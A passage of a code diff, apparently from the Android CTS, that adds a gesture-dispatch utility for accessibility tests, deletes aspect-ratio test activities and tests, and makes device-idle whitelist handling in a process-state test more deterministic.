+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import android.accessibilityservice.AccessibilityService.GestureResultCallback;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.InstrumentedAccessibilityService;
+import android.graphics.Path;
+import android.graphics.PointF;
+import android.view.ViewConfiguration;
+
+import java.util.concurrent.CompletableFuture;
+
+public class GestureUtils {
+
+ private GestureUtils() {}
+
+ public static CompletableFuture<Void> dispatchGesture(
+ InstrumentedAccessibilityService service,
+ GestureDescription gesture) {
+ CompletableFuture<Void> result = new CompletableFuture<>();
+ GestureResultCallback callback = new GestureResultCallback() {
+ @Override
+ public void onCompleted(GestureDescription gestureDescription) {
+ result.complete(null);
+ }
+
+ @Override
+ public void onCancelled(GestureDescription gestureDescription) {
+ result.cancel(false);
+ }
+ };
+ service.runOnServiceSync(() -> {
+ if (!service.dispatchGesture(gesture, callback, null)) {
+ result.completeExceptionally(new IllegalStateException());
+ }
+ });
+ return result;
+ }
+
+ public static StrokeDescription pointerDown(PointF point) {
+ return new StrokeDescription(path(point), 0, ViewConfiguration.getTapTimeout(), true);
+ }
+
+ public static StrokeDescription pointerUp(StrokeDescription lastStroke) {
+ return lastStroke.continueStroke(path(lastPointOf(lastStroke)),
+ endTimeOf(lastStroke), ViewConfiguration.getTapTimeout(), false);
+ }
+
+ public static PointF lastPointOf(StrokeDescription stroke) {
+ float[] p = stroke.getPath().approximate(0.3f);
+ return new PointF(p[p.length - 2], p[p.length - 1]);
+ }
+
+ public static StrokeDescription click(PointF point) {
+ return new StrokeDescription(path(point), 0, ViewConfiguration.getTapTimeout());
+ }
+
+ public static StrokeDescription longClick(PointF point) {
+ return new StrokeDescription(path(point), 0,
+ ViewConfiguration.getLongPressTimeout() * 3 / 2);
+ }
+
+ public static StrokeDescription swipe(PointF from, PointF to) {
+ return swipe(from, to, ViewConfiguration.getTapTimeout());
+ }
+
+ public static StrokeDescription swipe(PointF from, PointF to, long duration) {
+ return new StrokeDescription(path(from, to), 0, duration);
+ }
+
+ public static StrokeDescription drag(StrokeDescription from, PointF to) {
+ return from.continueStroke(
+ path(lastPointOf(from), to),
+ endTimeOf(from), ViewConfiguration.getTapTimeout(), true);
+ }
+
+ public static Path path(PointF first, PointF... rest) {
+ Path path = new Path();
+ path.moveTo(first.x, first.y);
+ for (PointF point : rest) {
+ path.lineTo(point.x, point.y);
+ }
+ return path;
+ }
+
+ public static StrokeDescription startingAt(long timeMs, StrokeDescription prototype) {
+ return new StrokeDescription(
+ prototype.getPath(), timeMs, prototype.getDuration(), prototype.willContinue());
+ }
+
+ public static long endTimeOf(StrokeDescription stroke) {
+ return stroke.getStartTime() + stroke.getDuration();
+ }
+
+ public static float distance(PointF a, PointF b) {
+ if (a == null) throw new NullPointerException();
+ if (b == null) throw new NullPointerException();
+ return (float) Math.hypot(a.x - b.x, a.y - b.y);
+ }
+
+ public static PointF add(PointF a, float x, float y) {
+ return new PointF(a.x + x, a.y + y);
+ }
+
+ public static PointF add(PointF a, PointF b) {
+ return add(a, b.x, b.y);
+ }
+
+ public static PointF diff(PointF a, PointF b) {
+ return add(a, -b.x, -b.y);
+ }
+
+ public static PointF negate(PointF p) {
+ return times(-1, p);
+ }
+
+ public static PointF times(float mult, PointF p) {
+ return new PointF(p.x * mult, p.y * mult);
+ }
+
+ public static float length(PointF p) {
+ return (float) Math.hypot(p.x, p.y);
+ }
+
+ public static PointF ceil(PointF p) {
+ return new PointF((float) Math.ceil(p.x), (float) Math.ceil(p.y));
+ }
+}
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 6bd42ef..ce81559 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -32,9 +32,7 @@
platform-test-annotations
LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
- $(call all-java-files-under, app2/src) \
- $(call all-java-files-under, appSdk25/src) \
+ $(call all-java-files-under, src)
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index eb515b2..dd240d4 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -22,7 +22,6 @@
<option name="test-file-name" value="CtsAppTestStubs.apk" />
<option name="test-file-name" value="CtsAppTestStubsDifferentUid.apk" />
<option name="test-file-name" value="CtsAppTestCases.apk" />
- <option name="test-file-name" value="CtsAppTestSdk25.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.app.cts" />
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 7db0717..4548fb0 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -326,45 +326,6 @@
<activity android:name="android.app.stubs.ToolbarActivity"
android:theme="@android:style/Theme.Material.Light.NoActionBar" />
- <activity android:name="android.app.stubs.MaxAspectRatioActivity"
- android:label="MaxAspectRatioActivity"
- android:resizeableActivity="false"
- android:maxAspectRatio="1.0">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
- <activity android:name="android.app.stubs.MetaDataMaxAspectRatioActivity"
- android:label="MetaDataMaxAspectRatioActivity"
- android:resizeableActivity="false">
- <meta-data android:name="android.max_aspect" android:value="1.0" />
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
- <activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
- android:label="MaxAspectRatioResizeableActivity"
- android:resizeableActivity="true"
- android:maxAspectRatio="1.0">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
- <activity android:name="android.app.stubs.MaxAspectRatioUnsetActivity"
- android:label="MaxAspectRatioUnsetActivity"
- android:resizeableActivity="false">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
<service
android:name="android.app.stubs.LiveWallpaper"
android:icon="@drawable/robot"
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
deleted file mode 100644
index 4a04861..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
deleted file mode 100644
index da1c605..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioResizeableActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
deleted file mode 100644
index 06e4994..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioUnsetActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
deleted file mode 100644
index 2e989de..0000000
--- a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MetaDataMaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 2689c30..304f79e 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -22,8 +22,7 @@
compatibility-device-util \
LOCAL_SRC_FILES := \
- ../app/src/android/app/stubs/LocalService.java \
- $(call all-java-files-under, src) \
+ ../app/src/android/app/stubs/LocalService.java
LOCAL_SDK_VERSION := current
diff --git a/tests/app/appSdk25/AndroidManifest.xml b/tests/app/appSdk25/AndroidManifest.xml
deleted file mode 100755
index f564f51..0000000
--- a/tests/app/appSdk25/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2017 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.appSdk25">
-
- <application android:label="CtsAppTestSdk25">
- <activity android:name=".Sdk25MaxAspectRatioActivity"
- android:label="Sdk25MaxAspectRatioActivity"
- android:resizeableActivity="false"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
-
diff --git a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java b/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
deleted file mode 100644
index 7fa25e0..0000000
--- a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.appSdk25;
-
-import android.app.Activity;
-
-public class Sdk25MaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7c1ed0d..3ea386e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -35,10 +35,13 @@
import android.os.PowerManager;
import android.os.RemoteException;
import android.test.InstrumentationTestCase;
+import android.util.Log;
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+ private static final String TAG = ActivityManagerProcessStateTest.class.getName();
+
private static final String STUB_PACKAGE_NAME = "android.app.stubs";
private static final int WAIT_TIME = 2000;
// A secondary test activity from another APK.
@@ -50,6 +53,8 @@
public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
"com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
+ private static final int TEMP_WHITELIST_DURATION_MS = 2000;
+
private Context mContext;
private Instrumentation mInstrumentation;
private Intent mServiceIntent;
@@ -70,11 +75,18 @@
mAllProcesses[1] = mService2Intent;
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
+ removeTestAppFromWhitelists();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ private void removeTestAppFromWhitelists() throws Exception {
+ executeShellCmd("cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
+ executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+ }
+
+ private String executeShellCmd(String cmd) throws Exception {
+ final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
+ return result;
}
/**
@@ -162,7 +174,7 @@
// Also make sure the uid state reports are as expected. Wait for active because
// there may be some intermediate states as the process comes up.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Pull out the service IBinder for a kludy hack...
@@ -206,7 +218,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Bring down one service, app state should remain foreground.
@@ -232,7 +244,7 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Bring up other service, should remain foreground.
@@ -350,7 +362,8 @@
}
// Put app on temporary whitelist to see if this allows the service start.
- cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+ cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
+ TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
// Try starting the service now that the app is whitelisted... should work!
@@ -359,7 +372,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Good, now stop the service and give enough time to get off the temp whitelist.
@@ -369,7 +382,7 @@
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
- Thread.sleep(3000);
+ executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -401,7 +414,7 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Okay, bring down the service.
@@ -533,7 +546,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
conn2.unbind(WAIT_TIME);
@@ -551,7 +564,7 @@
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// And also start the second service.
@@ -636,13 +649,13 @@
// Track the uid proc state changes from the broadcast (but not service execution)
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
// Put app on temporary whitelist to see if this allows the service start.
- controller.tempWhitelist(2000);
+ controller.tempWhitelist(TEMP_WHITELIST_DURATION_MS);
// Being on the whitelist means the uid is now active.
controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
@@ -657,7 +670,7 @@
conn.waitForConnect(WAIT_TIME);
// Also make sure the uid state reports are as expected.
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
// We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
// proc state depending on timing.
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -669,7 +682,7 @@
controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
- Thread.sleep(3000);
+ controller.removeFromTempWhitelist();
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -711,7 +724,7 @@
conn.waitForConnect(WAIT_TIME);
// Also make sure the uid state reports are as expected.
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Okay, bring down the service.
@@ -770,7 +783,7 @@
? "TOP" : "TPSL";
// Also make sure the uid state reports are as expected.
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
expectedActivityState, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -785,7 +798,7 @@
// App isn't yet idle, so we should be able to start the service again.
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// And now fast-forward to the app going idle, service should be stopped.
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
deleted file mode 100644
index 705ab93..0000000
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ /dev/null
@@ -1,243 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import android.app.stubs.MetaDataMaxAspectRatioActivity;
-import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.app.Activity;
-import android.app.stubs.MaxAspectRatioActivity;
-import android.app.stubs.MaxAspectRatioResizeableActivity;
-import android.app.stubs.MaxAspectRatioUnsetActivity;
-import android.content.Context;
-import android.content.res.Configuration;
-import android.graphics.Point;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.WindowManager;
-
-import static android.content.Context.WINDOW_SERVICE;
-import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
-import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-import static android.content.pm.PackageManager.FEATURE_WATCH;
-import static org.junit.Assert.fail;
-
-/**
- * Build: mmma -j32 cts/tests/app
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AspectRatioTests
- */
-@RunWith(AndroidJUnit4.class)
-public class AspectRatioTests {
- private static final String TAG = "AspectRatioTests";
-
- // The max. aspect ratio the test activities are using.
- private static final float MAX_ASPECT_RATIO = 1.0f;
-
- // Max supported aspect ratio for pre-O apps.
- private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
-
- // The minimum supported device aspect ratio.
- private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
-
- // The minimum supported device aspect ratio for watches.
- private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
-
- @Rule
- public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
- new ActivityTestRule<>(MaxAspectRatioActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- @Rule
- public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
- new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- @Rule
- public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
- new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- @Rule
- public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
- new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- // TODO: Can't use this to start an activity in a different process...sigh.
- @Rule
- public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
- new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class, "com.android.appSdk25",
- 268435456, false /* initialTouchMode */, false /* launchActivity */);
-
- private interface AssertAspectRatioCallback {
- void assertAspectRatio(float actual);
- }
-
- @Before
- public void setUp() throws Exception {
-
- }
-
- @After
- public void tearDown() throws Exception {
- finishActivity(mMaxAspectRatioActivity);
- finishActivity(mMaxAspectRatioResizeableActivity);
- finishActivity(mSdk25MaxAspectRatioActivity);
- finishActivity(mMaxAspectRatioUnsetActivity);
- finishActivity(mMetaDataMaxAspectRatioActivity);
- }
-
- @Test
- @Presubmit
- public void testDeviceAspectRatio() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
- final Display display = wm.getDefaultDisplay();
- final DisplayMetrics metrics = new DisplayMetrics();
- display.getRealMetrics(metrics);
-
- float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
- float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
- float deviceAspectRatio = longSide / shortSide;
- float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
- ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
-
- if (deviceAspectRatio < expectedMinAspectRatio) {
- fail("deviceAspectRatio=" + deviceAspectRatio
- + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
- }
- }
-
- @Test
- @Presubmit
- public void testMaxAspectRatio() throws Exception {
- runTest(launchActivity(mMaxAspectRatioActivity),
- actual -> {
- if (MAX_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
- });
- }
-
- @Test
- @Presubmit
- public void testMetaDataMaxAspectRatio() throws Exception {
- runTest(launchActivity(mMetaDataMaxAspectRatioActivity),
- actual -> {
- if (MAX_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
- });
- }
-
- @Test
- // TODO: Currently 10% flaky so not part of pre-submit for now
- public void testMaxAspectRatioResizeableActivity() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final float expected = getAspectRatio(context);
-
- // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
- runTest(launchActivity(mMaxAspectRatioResizeableActivity),
- actual -> {
- if (aspectRatioEqual(expected, actual) || expected < actual) return;
- fail("actual=" + actual + " is less than expected=" + expected);
- });
- }
-
- @Test
- @Presubmit
- public void testMaxAspectRatioUnsetActivity() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final float expected = getAspectRatio(context);
-
- // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
- // the device's
- runTest(launchActivity(mMaxAspectRatioUnsetActivity),
- actual -> {
- if (aspectRatioEqual(expected, actual) || expected < actual) return;
- fail("actual=" + actual + " is less than expected=" + expected);
- });
- }
-
- @Test
- // TODO(b/35810513): Can't use rule to start an activity in a different process. Need a
- // different way to make this test happen...host side? Sigh...
- @Ignore
- public void testMaxAspectRatioPreOActivity() throws Exception {
- runTest(launchActivity(mSdk25MaxAspectRatioActivity),
- actual -> {
- if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
- });
- }
-
- private void runTest(Activity activity, AssertAspectRatioCallback callback) {
- callback.assertAspectRatio(getAspectRatio(activity));
-
- // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
- // context is updated correctly here. Also, what does it mean to be holding a reference to
- // this activity if changing the orientation will cause a relaunch?
-// activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
-// waitForIdle();
-// callback.assertAspectRatio(getAspectRatio(activity));
-//
-// activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
-// waitForIdle();
-// callback.assertAspectRatio(getAspectRatio(activity));
- }
-
- private float getAspectRatio(Context context) {
- final Display display =
- ((WindowManager) context.getSystemService(WINDOW_SERVICE)).getDefaultDisplay();
- final Point size = new Point();
- display.getSize(size);
- final float longSide = Math.max(size.x, size.y);
- final float shortSide = Math.min(size.x, size.y);
- return longSide / shortSide;
- }
-
- private Activity launchActivity(ActivityTestRule activityRule) {
- final Activity activity = activityRule.launchActivity(null);
- waitForIdle();
